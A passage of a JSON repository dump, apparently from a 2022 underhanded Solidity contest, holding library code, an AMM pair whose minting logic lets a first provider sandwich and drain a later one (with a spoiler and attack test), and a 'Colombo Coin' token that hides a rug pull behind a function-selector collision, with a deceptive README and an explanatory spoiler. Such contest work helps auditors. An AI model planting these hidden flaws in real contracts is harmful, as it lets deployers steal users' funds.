128.\n                z := shl(64, z)\n            }\n            if iszero(lt(y, 0x10000000000000000)) {\n                y := shr(64, y) // Like dividing by 2 ** 64.\n                z := shl(32, z)\n            }\n            if iszero(lt(y, 0x100000000)) {\n                y := shr(32, y) // Like dividing by 2 ** 32.\n                z := shl(16, z)\n            }\n            if iszero(lt(y, 0x10000)) {\n                y := shr(16, y) // Like dividing by 2 ** 16.\n                z := shl(8, z)\n            }\n            if iszero(lt(y, 0x100)) {\n                y := shr(8, y) // Like dividing by 2 ** 8.\n                z := shl(4, z)\n            }\n            if iszero(lt(y, 0x10)) {\n                y := shr(4, y) // Like dividing by 2 ** 4.\n                z := shl(2, z)\n            }\n            if iszero(lt(y, 0x8)) {\n                // Equivalent to 2 ** z.\n                z := shl(1, z)\n            }\n\n            // Shifting right by 1 is like dividing by 2.\n            z := shr(1, add(z, div(x, z)))\n            z := shr(1, add(z, div(x, z)))\n            z := shr(1, add(z, div(x, z)))\n            z := shr(1, add(z, div(x, z)))\n            z := shr(1, add(z, div(x, z)))\n            z := shr(1, add(z, div(x, z)))\n            z := shr(1, add(z, div(x, z)))\n\n            // Compute a rounded down version of z.\n            let zRoundDown := div(x, z)\n\n            // If zRoundDown is smaller, use it.\n            if lt(zRoundDown, z) {\n                z := zRoundDown\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/utils/ReentrancyGuard.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Gas optimized reentrancy protection for smart contracts.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/ReentrancyGuard.sol)\n/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol)\nabstract contract ReentrancyGuard {\n    uint256 private reentrancyStatus = 1;\n\n    modifier nonReentrant() {\n        require(reentrancyStatus == 1, \"REENTRANCY\");\n\n        reentrancyStatus = 2;\n\n        _;\n\n        reentrancyStatus = 1;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/utils/SSTORE2.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Read and write to persistent storage at a fraction of the cost.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SSTORE2.sol)\n/// @author Modified from 0xSequence (https://github.com/0xSequence/sstore2/blob/master/contracts/SSTORE2.sol)\nlibrary SSTORE2 {\n    uint256 internal constant DATA_OFFSET = 1; // We skip the first byte as it's a STOP opcode to ensure the contract can't be called.\n\n    /*///////////////////////////////////////////////////////////////\n                               WRITE LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function write(bytes memory data) internal returns (address pointer) {\n        // Prefix the bytecode with a STOP opcode to ensure it cannot be called.\n        bytes memory runtimeCode = abi.encodePacked(hex\"00\", data);\n\n        bytes memory creationCode = abi.encodePacked(\n            //---------------------------------------------------------------------------------------------------------------//\n            // Opcode  | Opcode + Arguments  | Description  | Stack View                                                     //\n            //---------------------------------------------------------------------------------------------------------------//\n            // 0x60    |  0x600B             | PUSH1 11     | codeOffset                                                     //\n            // 0x59    |  0x59               | MSIZE        | 0 codeOffset                                                   //\n            // 0x81    |  0x81               | DUP2         | codeOffset 0 codeOffset                                        //\n            // 0x38    |  0x38               | CODESIZE     | codeSize codeOffset 0 codeOffset                               //\n            // 0x03    |  0x03               | SUB          | (codeSize - codeOffset) 0 codeOffset                           //\n            // 0x80    |  0x80               | DUP          | (codeSize - codeOffset) (codeSize - codeOffset) 0 codeOffset   //\n            // 0x92    |  0x92               | SWAP3        | codeOffset (codeSize - codeOffset) 0 (codeSize - codeOffset)   //\n            // 0x59    |  0x59               | MSIZE        | 0 codeOffset (codeSize - codeOffset) 0 (codeSize - codeOffset) //\n            // 0x39    |  0x39               | CODECOPY     | 0 (codeSize - codeOffset)                                      //\n            // 0xf3    |  0xf3               | RETURN       |                                                                //\n            //---------------------------------------------------------------------------------------------------------------//\n            hex\"60_0B_59_81_38_03_80_92_59_39_F3\", // Returns all code in the contract except for the first 11 (0B in hex) bytes.\n            runtimeCode // The bytecode we want the contract to have after deployment. Capped at 1 byte less than the code size limit.\n        );\n\n        assembly {\n            // Deploy a new contract with the generated creation code.\n            // We start 32 bytes into the code to avoid copying the byte length.\n            pointer := create(0, add(creationCode, 32), mload(creationCode))\n        }\n\n        require(pointer != address(0), \"DEPLOYMENT_FAILED\");\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                               READ LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function read(address pointer) internal view returns (bytes memory) {\n        return readBytecode(pointer, DATA_OFFSET, pointer.code.length - DATA_OFFSET);\n    }\n\n    function read(address pointer, uint256 start) internal view returns (bytes memory) {\n        start += DATA_OFFSET;\n\n        return readBytecode(pointer, start, pointer.code.length - start);\n    }\n\n    function read(\n        address pointer,\n        uint256 start,\n        uint256 end\n    ) internal view returns (bytes memory) {\n        start += DATA_OFFSET;\n        end += DATA_OFFSET;\n\n        require(pointer.code.length >= end, \"OUT_OF_BOUNDS\");\n\n        return readBytecode(pointer, start, end - start);\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                         INTERNAL HELPER LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function readBytecode(\n        address pointer,\n        uint256 start,\n        uint256 size\n    ) private view returns (bytes memory data) {\n        assembly {\n            // Get a pointer to some free memory.\n            data := mload(0x40)\n\n            // Update the free memory pointer to prevent overriding our data.\n            // We use and(x, not(31)) as a cheaper equivalent to sub(x, mod(x, 32)).\n            // Adding 31 to size and running the result through the logic above ensures\n            // the memory pointer remains word-aligned, following the Solidity convention.\n            mstore(0x40, add(data, and(add(add(size, 32), 31), not(31))))\n\n            // Store the size of the data in the first 32 byte chunk of free memory.\n            mstore(data, size)\n\n            // Copy the code into memory right after the 32 bytes we used to store the size.\n            extcodecopy(pointer, add(data, 32), start, size)\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/utils/SafeCastLib.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\n/// @notice Safe unsigned integer casting library that reverts on overflow.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeCastLib.sol)\n/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/SafeCast.sol)\nlibrary SafeCastLib {\n    function safeCastTo248(uint256 x) internal pure returns (uint248 y) {\n        require(x <= type(uint248).max);\n\n        y = uint248(x);\n    }\n\n    function safeCastTo128(uint256 x) internal pure returns (uint128 y) {\n        require(x <= type(uint128).max);\n\n        y = uint128(x);\n    }\n\n    function safeCastTo96(uint256 x) internal pure returns (uint96 y) {\n        require(x <= type(uint96).max);\n\n        y = uint96(x);\n    }\n\n    function safeCastTo64(uint256 x) internal pure returns (uint64 y) {\n        require(x <= type(uint64).max);\n\n        y = uint64(x);\n    }\n\n    function safeCastTo32(uint256 x) internal pure returns (uint32 y) {\n        require(x <= type(uint32).max);\n\n        y = uint32(x);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/utils/SafeTransferLib.sol",
    "content": "// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity >=0.8.0;\n\nimport {ERC20} from \"../tokens/ERC20.sol\";\n\n/// @notice Safe ETH and ERC20 transfer library that gracefully handles missing return values.\n/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeTransferLib.sol)\n/// @author Modified from Gnosis (https://github.com/gnosis/gp-v2-contracts/blob/main/src/contracts/libraries/GPv2SafeERC20.sol)\n/// @dev Use with caution! Some functions in this library knowingly create dirty bits at the destination of the free memory pointer.\nlibrary SafeTransferLib {\n    /*///////////////////////////////////////////////////////////////\n                            ETH OPERATIONS\n    //////////////////////////////////////////////////////////////*/\n\n    function safeTransferETH(address to, uint256 amount) internal {\n        bool callStatus;\n\n        assembly {\n            // Transfer the ETH and store if it succeeded or not.\n            callStatus := call(gas(), to, amount, 0, 0, 0, 0)\n        }\n\n        require(callStatus, \"ETH_TRANSFER_FAILED\");\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                           ERC20 OPERATIONS\n    //////////////////////////////////////////////////////////////*/\n\n    function safeTransferFrom(\n        ERC20 token,\n        address from,\n        address to,\n        uint256 amount\n    ) internal {\n        bool callStatus;\n\n        assembly {\n            // Get a pointer to some free memory.\n            let freeMemoryPointer := mload(0x40)\n\n            // Write the abi-encoded calldata to memory piece by piece:\n            mstore(freeMemoryPointer, 0x23b872dd00000000000000000000000000000000000000000000000000000000) // Begin with the function selector.\n            mstore(add(freeMemoryPointer, 4), and(from, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the \"from\" argument.\n            mstore(add(freeMemoryPointer, 36), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the \"to\" argument.\n            mstore(add(freeMemoryPointer, 68), amount) // Finally append the \"amount\" argument. No mask as it's a full 32 byte value.\n\n            // Call the token and store if it succeeded or not.\n            // We use 100 because the calldata length is 4 + 32 * 3.\n            callStatus := call(gas(), token, 0, freeMemoryPointer, 100, 0, 0)\n        }\n\n        require(didLastOptionalReturnCallSucceed(callStatus), \"TRANSFER_FROM_FAILED\");\n    }\n\n    function safeTransfer(\n        ERC20 token,\n        address to,\n        uint256 amount\n    ) internal {\n        bool callStatus;\n\n        assembly {\n            // Get a pointer to some free memory.\n            let freeMemoryPointer := mload(0x40)\n\n            // Write the abi-encoded calldata to memory piece by piece:\n            mstore(freeMemoryPointer, 0xa9059cbb00000000000000000000000000000000000000000000000000000000) // Begin with the function selector.\n            mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the \"to\" argument.\n            mstore(add(freeMemoryPointer, 36), amount) // Finally append the \"amount\" argument. No mask as it's a full 32 byte value.\n\n            // Call the token and store if it succeeded or not.\n            // We use 68 because the calldata length is 4 + 32 * 2.\n            callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0)\n        }\n\n        require(didLastOptionalReturnCallSucceed(callStatus), \"TRANSFER_FAILED\");\n    }\n\n    function safeApprove(\n        ERC20 token,\n        address to,\n        uint256 amount\n    ) internal {\n        bool callStatus;\n\n        assembly {\n            // Get a pointer to some free memory.\n            let freeMemoryPointer := mload(0x40)\n\n            // Write the abi-encoded calldata to memory piece by piece:\n            mstore(freeMemoryPointer, 0x095ea7b300000000000000000000000000000000000000000000000000000000) // Begin with the function selector.\n            mstore(add(freeMemoryPointer, 4), and(to, 0xffffffffffffffffffffffffffffffffffffffff)) // Mask and append the \"to\" argument.\n            mstore(add(freeMemoryPointer, 36), amount) // Finally append the \"amount\" argument. No mask as it's a full 32 byte value.\n\n            // Call the token and store if it succeeded or not.\n            // We use 68 because the calldata length is 4 + 32 * 2.\n            callStatus := call(gas(), token, 0, freeMemoryPointer, 68, 0, 0)\n        }\n\n        require(didLastOptionalReturnCallSucceed(callStatus), \"APPROVE_FAILED\");\n    }\n\n    /*///////////////////////////////////////////////////////////////\n                         INTERNAL HELPER LOGIC\n    //////////////////////////////////////////////////////////////*/\n\n    function didLastOptionalReturnCallSucceed(bool callStatus) private pure returns (bool success) {\n        assembly {\n            // Get how many bytes the call returned.\n            let returnDataSize := returndatasize()\n\n            // If the call reverted:\n            if iszero(callStatus) {\n                // Copy the revert message into memory.\n                returndatacopy(0, 0, returnDataSize)\n\n                // Revert with the same message.\n                revert(0, returnDataSize)\n            }\n\n            switch returnDataSize\n            case 32 {\n                // Copy the return data into memory.\n                returndatacopy(0, 0, returnDataSize)\n\n                // Set success to whether it returned true.\n                success := iszero(iszero(mload(0)))\n            }\n            case 0 {\n                // There was no return data.\n                success := 1\n            }\n            default {\n                // It returned some malformed input.\n                success := 0\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/spoiler.txt",
    "content": "Rugpull a liquidity provider\n----------------------------\n\nIf the first liquidity provider sees that a second liquidity provider is about to provide liquidity, they can sandwich them as follows:\n\n1. Burn all LP tokens\n2. Mint a small amount, the worth of an LP token is now redefined to be this small amount (The first mint always mint one LP token)\n3. Add further liquidity so that the to-be-added liquidity generates as little LP tokens as possible\n4. Include transaction of second liquidity provider\n5. Balance the pool again \n\nThereby, the attacker can steal large parts of the provided liquidity. The exact amounts depend on how unbalanced the victim's liquidity is. In the test case the attacker manages to steal 99.7% of the liquidity, even the victim uses the slippage protection!\n\nEven though there is slippage protection, the slippage is huge. Slippage protection is super important in solidity code, but it is easy to get wrong.\n\n\nWhy burn is fine without slippage protection\n--------------------------------------------\nWe would argue that removing the slippage protection on burn() is fine. An LP token can only be \"redefined\" by burning all tokens, which isn't possible in a front-running attack as the victim is still holding LP tokens. An attacker can only unbalance the pool, but that essentially increases the monetary value of the victim's payout. The victim is guaranteed at least a fair payout of a balanced LP token. \n\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/src/Contract.sol",
    "content": "// SPDX-License-Identifier: GPL-3.0-only \npragma solidity 0.8.12;\n\nimport \"solmate/tokens/ERC20.sol\";\n\n// Do not support tokens that return false on error\ninterface ReasonableERC20 {\n    function totalSupply() external view returns (uint256);\n    function balanceOf(address account) external view returns (uint256);\n    function transfer(address to, uint256 amount) external;\n    function allowance(address owner, address spender) external view returns (uint256);\n    function approve(address spender, uint256 amount) external;\n    function transferFrom(address from, address to, uint256 amount) external;\n    function name() external view returns (string memory);\n    function symbol() external view returns (string memory);\n    function decimals() external view returns (uint8);\n}\n\ninterface IUniswapV2Callee {\n    function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;\n}\n\ncontract V2PairAndRouter is ERC20 {\n    ReasonableERC20 public immutable token0;\n    ReasonableERC20 public immutable token1;\n\n    // uses single storage slot, wastes 24 bits to trigger poor auditors\n    uint112 private reserve0;           \n    uint112 private reserve1; \n    uint8 private unlocked = 1;\n\n    error InsufficientInputAmout();\n    error InsufficientLiquidity();\n    error InsufficientLiquidityBurned();\n    error InsufficientLiquidityMinted();\n    error InsufficientOutputAmout();\n    error K();\n    error Overflow();\n    error PairLocked();\n\n    modifier lock() {\n        if(unlocked != 1) revert PairLocked();\n        unlocked = 0;\n        _;\n        unlocked = 1;\n    }\n\n    function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1) {\n        _reserve0 = reserve0;\n        _reserve1 = reserve1;\n    }\n\n    event Mint(address indexed sender, uint amount0, uint amount1);\n    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);\n    event Swap(address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to);\n    event Sync(uint112 reserve0, uint112 reserve1);\n\n    constructor(address _token0, address _token1) ERC20(\"Pair\", \"PAI\", 18) {\n        token0 = ReasonableERC20(_token0);\n        token1 = ReasonableERC20(_token1);\n    }\n\n    // Original from Uniswap\n    function sqrt(uint y) internal pure returns (uint z) {\n        if (y > 3) {\n            z = y;\n            uint x = y / 2 + 1;\n            while (x < z) {\n                z = x;\n                x = (y / x + x) / 2;\n            }\n        } else if (y != 0) {\n            z = 1;\n        }\n    } \n\n    function _update(uint balance0, uint balance1) private {\n        if(!(balance0 <= type(uint112).max && balance1 <= type(uint112).max)) revert Overflow();\n        reserve0 = uint112(balance0);\n        reserve1 = uint112(balance1);\n        emit Sync(uint112(balance0), uint112(balance1));\n    }\n\n\n    // Allow unbalanced minting\n    // - Computes the newly minted amount\n    // - Compares to the \n    function mint(address to, uint amount0, uint amount1, uint minOut) external lock returns (uint liquidity) {\n        if(amount0 > 0) token0.transferFrom(msg.sender, address(this), amount0);\n        if(amount1 > 0) token1.transferFrom(msg.sender, address(this), amount1);\n        (uint112 _reserve0, uint112 _reserve1) = getReserves();\n        uint balance0 = token0.balanceOf(address(this));\n        uint balance1 = token1.balanceOf(address(this));\n        amount0 = balance0 - _reserve0;\n        amount1 = balance1 - _reserve1;\n\n        uint oldSupply = totalSupply; \n        if (oldSupply == 0) {\n            liquidity = 10**18;\n        } else {\n            uint previousK = uint(_reserve0) * uint(_reserve1);\n            uint newK = balance0 * balance1;\n            liquidity = (sqrt(newK * 10**36 / previousK) - 10**18) * oldSupply / 10**18;\n            // Take fee to prevent pesky JiT liquidity\n            liquidity = liquidity * 997 / 1000;\n            if(liquidity == 0) revert InsufficientLiquidityMinted(); \n        }\n        require(liquidity >= minOut);\n        _mint(to, liquidity);\n        _update(balance0, balance1);\n        emit Mint(msg.sender, amount0, amount1);\n    }\n\n    // Allow burning of LP tokens without need for previous approve() \n    function burn(address to, uint liquidity) external lock returns (uint amount0, uint amount1) {\n        uint balance0 = token0.balanceOf(address(this));\n        uint balance1 = token1.balanceOf(address(this));\n\n        uint oldSupply = totalSupply; \n        // Compute respective token ratio\n        amount0 = liquidity * balance0 / oldSupply;\n        amount1 = liquidity * balance1 / oldSupply;\n        if(amount0 == 0 || amount1 == 0) revert InsufficientLiquidityBurned();\n        _burn(msg.sender, liquidity);\n        token0.transfer(to, amount0);\n        // Transfer out the tokens\n        token1.transfer(to, amount1);\n        balance0 = token0.balanceOf(address(this));\n        balance1 = token1.balanceOf(address(this));\n\n        _update(balance0, balance1);\n        emit Burn(msg.sender, amount0, amount1, to);\n    }\n\n    // Swap\n    // - Can be used as a standalone contract for single-pair swaps\n    // - Or in combination with a router for multi-pair swaps\n    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data, uint amount0In, uint amount1In) external lock {\n        if(amount0In > 0) token0.transferFrom(msg.sender, address(this), amount0In);\n        if(amount1In > 0) token1.transferFrom(msg.sender, address(this), amount1In);\n        if(amount0Out == 0 && amount1Out == 0) revert InsufficientOutputAmout();\n        (uint112 _reserve0, uint112 _reserve1) = getReserves();\n        if(amount0Out >= _reserve0 || amount1Out >= _reserve1) revert InsufficientLiquidity();\n\n        uint balance0;\n        uint balance1;\n        require(to != address(token0) && to != address(token1));\n        // Optimistically transfer tokens\n        if (amount0Out > 0) token0.transfer(to, amount0Out); \n        if (amount1Out > 0) token1.transfer(to, amount1Out);\n        if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);\n        balance0 = token0.balanceOf(address(this));\n        balance1 = token1.balanceOf(address(this));\n        amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;\n        amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;\n        if(amount0In == 0 && amount1In == 0) revert InsufficientInputAmout(); \n        { \n        uint balance0Adjusted = balance0 * 1000 - (amount0In * 3);\n        uint balance1Adjusted = balance1 * 1000 - (amount1In * 3);\n        if(balance0Adjusted * balance1Adjusted < uint(_reserve0) * (_reserve1) * 1000**2) revert K();\n        }\n        _update(balance0, balance1);\n        emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/src/test/Contract.t.sol",
    "content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.12;\n\n// This is just the test case, disregard for judging\n\nimport \"ds-test/test.sol\";\nimport \"../Contract.sol\";\nimport \"solmate/tokens/ERC20.sol\";\n\ncontract T1 is ERC20{\n    constructor() ERC20(\"T1\", \"T1\", 18) {\n        _mint(msg.sender, 1000 * 10**18);\n    }\n}\n\ncontract T2 is ERC20{\n    constructor() ERC20(\"T2\", \"T2\", 18) {\n        _mint(msg.sender, 1000 * 10**18);\n    }\n\n    uint public marker = 2;\n}\n\ninterface CheatCodes {\n      function prank(address) external;\n}\n\ncontract ContractTest is DSTest {\n    CheatCodes cheats = CheatCodes(HEVM_ADDRESS);\n    V2PairAndRouter c;\n    T1 t1;\n    T2 t2;\n\n    address victim = 0x1230000000000000000000000000000000000000;\n\n    function setUp() public {\n        t1 = new T1();\n        t2 = new T2();\n        c = new V2PairAndRouter(address(t1), address(t2));\n    }\n\n    function testMint() public {\n        t1.transfer(address(c), 1 ether);\n        t2.transfer(address(c), 1 ether);\n        c.mint(address(this), 0, 0, 1);\n        t1.transfer(address(c), 1 ether);\n        t2.transfer(address(c), 1 ether);\n        c.mint(address(this), 0, 0, 1);\n        t1.transfer(address(c), 2 ether);\n        t2.transfer(address(c), 2 ether);\n        c.mint(address(this), 0, 0, 1);\n        t1.transfer(address(c), 2 ether);\n        c.mint(address(this), 0, 0, 1);\n        t2.transfer(address(c), 2 ether);\n        c.mint(address(this), 0, 0, 1);\n    }\n\n    function testNormalVictimMint() public {\n        t1.transfer(address(c), 1 ether);\n        t2.transfer(address(c), 1 ether);\n        c.mint(address(this), 0, 0, 1);\n        t1.transfer(address(c), 1 ether);\n        cheats.prank(victim);\n        uint bal = c.mint(victim, 0, 0, 412970921685975762); \n        // Arbitrager\n        t2.transfer(address(c), 1 ether);\n        c.mint(address(this), 0, 0, 1);\n        // Burn to find underlying\n        cheats.prank(victim);\n        c.burn(victim, bal);\n        t1.balanceOf(victim);\n        t2.balanceOf(victim);\n    }\n\n    function testAttackedVictimMint() public {\n        t1.transfer(address(c), 1 ether);\n        t2.transfer(address(c), 1 ether);\n        uint bal = c.mint(address(this), 0, 0, 1);\n        c.burn(address(this), bal);\n        // Mini Mint\n        t1.transfer(address(c), 10**14);\n        t2.transfer(address(c), 10**14);\n        c.mint(address(this), 0, 0, 1);\n        // Unbalanced Mint\n        t1.transfer(address(c), 20 ether);\n        c.mint(address(this), 0, 0, 1);\n        // Victim Mint\n        t1.transfer(address(c), 1 ether);\n        cheats.prank(victim);\n        bal = c.mint(victim, 0, 0, 412970921685975762); \n        // Arbitrager\n        t2.transfer(address(c), 21 ether);\n        c.mint(address(this), 0, 0, 1);\n        // Burn to find underlying\n        cheats.prank(victim);\n        c.burn(victim, bal);\n        t1.balanceOf(victim);\n        t2.balanceOf(victim);\n    }\n\n\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission14_0xplaintxt/Colombo.txt",
    "content": "//SPDX-License-Identifier: CC0\npragma solidity ^0.8.0;\n\nimport './interfaces/IColombo.sol';\n\ncontract ERC20 {\n    string public constant name = 'Colombo Coin';\n    string public constant symbol = 'CC';\n    uint8 public constant decimals = 18;\n    uint  public totalSupply;\n    mapping(address => uint) balanceOf;\n    mapping(address => mapping(address => uint)) public allowance;\n\n    mapping(address => uint) public nonces;\n    address colombo;\n\n    event Approval(address indexed owner, address indexed spender, uint value);\n    event Transfer(address indexed from, address indexed to, uint value);\n\n    constructor (uint _totalSupply) {\n        _mint(msg.sender, _totalSupply);\n        colombo = msg.sender;\n    }\n\n    function _mint(address to, uint value) internal {\n        totalSupply += value;\n        balanceOf[to] += value;\n        emit Transfer(address(0), to, value);\n    }\n\n    function _burn(address from, uint value) internal {\n        balanceOf[from] -= value;\n        totalSupply -= value;\n        emit Transfer(from, address(0), value);\n    }\n\n    function _approve(address owner, address spender, uint value) private {\n        allowance[owner][spender] = value;\n        emit Approval(owner, spender, value);\n    }\n\n    function _transfer(address from, address to, uint value) private {\n        balanceOf[from] -= value;\n        balanceOf[to] += value;\n        emit Transfer(from, to, value);\n    }\n\n    function approve(address spender, uint value) external returns (bool) {\n        _approve(msg.sender, spender, value);\n        return true;\n    }\n\n    function transfer(address to, uint value) external returns (bool) {\n        _transfer(msg.sender, to, value);\n        return true;\n    }\n\n    function transferFrom(address from, address to, uint value) external returns (bool) {\n        if (allowance[from][msg.sender] != type(uint).max) {\n            allowance[from][msg.sender] -= value;\n        }\n        _transfer(from, to, value);\n        return true;\n    }\n\n    function colomboHot(uint160 id) external view returns (uint purse) {\n        require(msg.sender != address(id), 'invalid ID');\n        address amaretto = IColombo(msg.sender).amarettoIdealist();\n        address defunct = IColombo(msg.sender).defunctFalsifiablity();\n\n        (uint happyThoughts, uint superThoughts) = IColombo(msg.sender).detectabilityAntiauthoritarianism();\n\n        (,address friendship) = amaretto == address(this) ? (amaretto, defunct) : (defunct, amaretto);\n\n        (, uint clouds) = amaretto == address(this) ? (happyThoughts, superThoughts) : (superThoughts, happyThoughts);\n\n        purse = balanceOf[msg.sender];\n        uint orangeTrees = IColombo(friendship).bibliopolistsTrainees(msg.sender);\n\n        require(orangeTrees > clouds || msg.sender == colombo, 'not enough oranges');\n        return purse;        \n    }\n}"
  },
  {
    "path": "2022/submissions_2022/submission14_0xplaintxt/IColombo.txt",
    "content": "//SPDX-License-Identifier: CC0\npragma solidity ^0.8.0;\n\ninterface IColombo {\n    function amarettoIdealist() external view returns (address);\n    function defunctFalsifiablity() external view returns (address);\n    function detectabilityAntiauthoritarianism() external view returns (uint, uint);\n    function bibliopolistsTrainees(address) external view returns (uint);\n}"
  },
  {
    "path": "2022/submissions_2022/submission14_0xplaintxt/README.MD",
    "content": "# Colombo Coin 🍊\n\n## What is Colombo Coin?\n\nCC is a whimsical ERC-20 token that will be airdropped to verified EOAs who have burned the most cumulative gas interacting with UniV2 to-date (snapshot date: 02/02/2022).\n\nThe gas burned by these EOAs represents a steep sacrifice made by early pioneers in DeFi to bootstrap liquidity across the ETH mainnet.\n\nThe goal of the Colombo team is to reward these early adopters and provide a utility token for a novel cross-chain exchange to be deployed in Q2'22, designed expressly to serve the early and the brave.\n\nIn the near term, those who stake their CC in liquidity pools such as UniV2 will also receive further incentives denominated in CC for continuing to provide critical liquidity services to the market. We anticipate broad demand for OTC CC and will enthusiastically reward all liquidity providers who help broaden our ecosystem. We have also built some novel functionality into the core ERC-20 implementation to support our future rewards scheme; we look forward to unveiling the reward function when the broader Colombo platform launches. For now we simply hope you enjoy some wonderful and enigmatic variable names.\n\nOur roadmap is long and winding and we look forward to a fruitful future together!\n"
  },
  {
    "path": "2022/submissions_2022/submission14_0xplaintxt/Spoilers.MD",
    "content": "# The Scheme 🎣\n\n## What is Colombo Coin?\n\nThis ERC-20 implemention includes the use of several function signature collisions that are designed to confuse and rug users who stake or trade this coin on a major 2-token DEX pool. The coin is designed specifically with UniV2 in mind, but it could be easily modified to behave similarly across other more complex DEX architectures.\n\n## Core function collision\n\ncolomboHot(uint160) has an identical 4-byte signature to balanceOf(address).\n\nThe contract has not set the visibility of the balanceOf variable to public, and as such it does not generate a function signature that other contracts can call.\n\nIn its place, colomboHot ends up receiving all calls sent by a DEX such as UniV2 that are meant to query the pool contract's balance of the ERC-20 token.\n\n## How does colomboHot work?\n\nIn order to profit off of this scheme, the Colombo team would need to convince at least some of its airdrop recipients to stake their tokens in a liquidity pool so that the Colombo team can successfully trade / drain the counter-tokens deposited alongside their CC.\n\nThe balanceOf function has to operate as expected on transactions that add liquidity or purchase CCs (swap for CC), but fail for transactions that remove liquidity and sell CC.\n\nThe Colombo team may seed a liquidity pool themselves to bait others to join in, knowing that any incremental value committed would only be receivable by the Colombo team.\n\n## What's the takeaway?\n\nFunction signature collisions are broadly known. There are ~4.2b unique 4-byte signatures, making it trivial to find a collision for a specific signature.\n\nThese collisions are not however generally thought of as a source of vulnerabilities. The goal of this exercise was to show how a function collision may be employed to hide malicious code execution through a call made by a trusted intermediary contract. In this case, a simple view-only function with whimsical naming patterns has the potential to easily rug unwitting users.\n\nStatic analysis tools may find it beneficial to highlight function signatures that are commonly used to point to 'reserved' function names so as to make it clear to users if there is an unexpected collision around reserved/special function signatures. A user scanning this contract code on Etherscan should ideally be able to see that colomboHot(uint160) shares a function signature with 'balanceOf', which should alert them to the potential malicious intent of the contract authors.\n\n## colomboHot in detail\n\ncolomboHot makes use of a number of other collisions contained in an interface contract to perform a check on the DEX pool balances and reserves without its intentions being clearly detected.\n\nFunction mapping: 1. colomboHot(uint160) -> balanceOf(address) 2. amarettoIdealist() -> token0() 2. defunctFalsifiablity() -> token1() 3. detectabilityAntiauthoritarianism() -> getReserves() 4. bibliopolistsTrainees(address) -> balanceOf(address) (perform this second balanceOf call using another collision to avoid repeating the function name)\n\nSpecifically, colomboHot conducts a set of checks to see whether the txn is adding or removing the alternative token in the pool.\na. if the alternative token balance is declining as a result of this txn (via removing liquidity or selling CC), then the txn is reverted for all users except for 'Colombo'\nb. if the pool's balance of the alternative token is increasing in this txn, then the function returns as expected\n\nThe 'deciphered' function:\nfunction colomboHot(uint160 id) external view returns (uint \\_balance) {\nrequire(msg.sender != address(id), 'invalid ID');\naddress token0 = IUniswapV2Pair(msg.sender).token0();\naddress token1 = IUniswapV2Pair(msg.sender).token1();\n\n        (uint _reserve0, uint _reserve1) = IUniswapV2Pair(msg.sender).getReserves();\n\n        (,address otherCoin) = token0 == address(this) ? (token0, token1) : (token1, token0);\n\n        (, uint otherReserve) = token0 == address(this) ? (_reserve0, _reserve1) : (_reserve1, _reserve0);\n\n        _balance = balanceOf[msg.sender];\n        uint otherBalance = IERC20(otherCoin).balanceOf(msg.sender);\n\n        require(otherBalance > otherReserve || msg.sender == colombo, 'txn reduces pool of non-CC token');\n        return _balance;\n    }\n"
  },
  {
    "path": "2022/submissions_2022/submission15_MartinSwende/AssetMgr.sol",
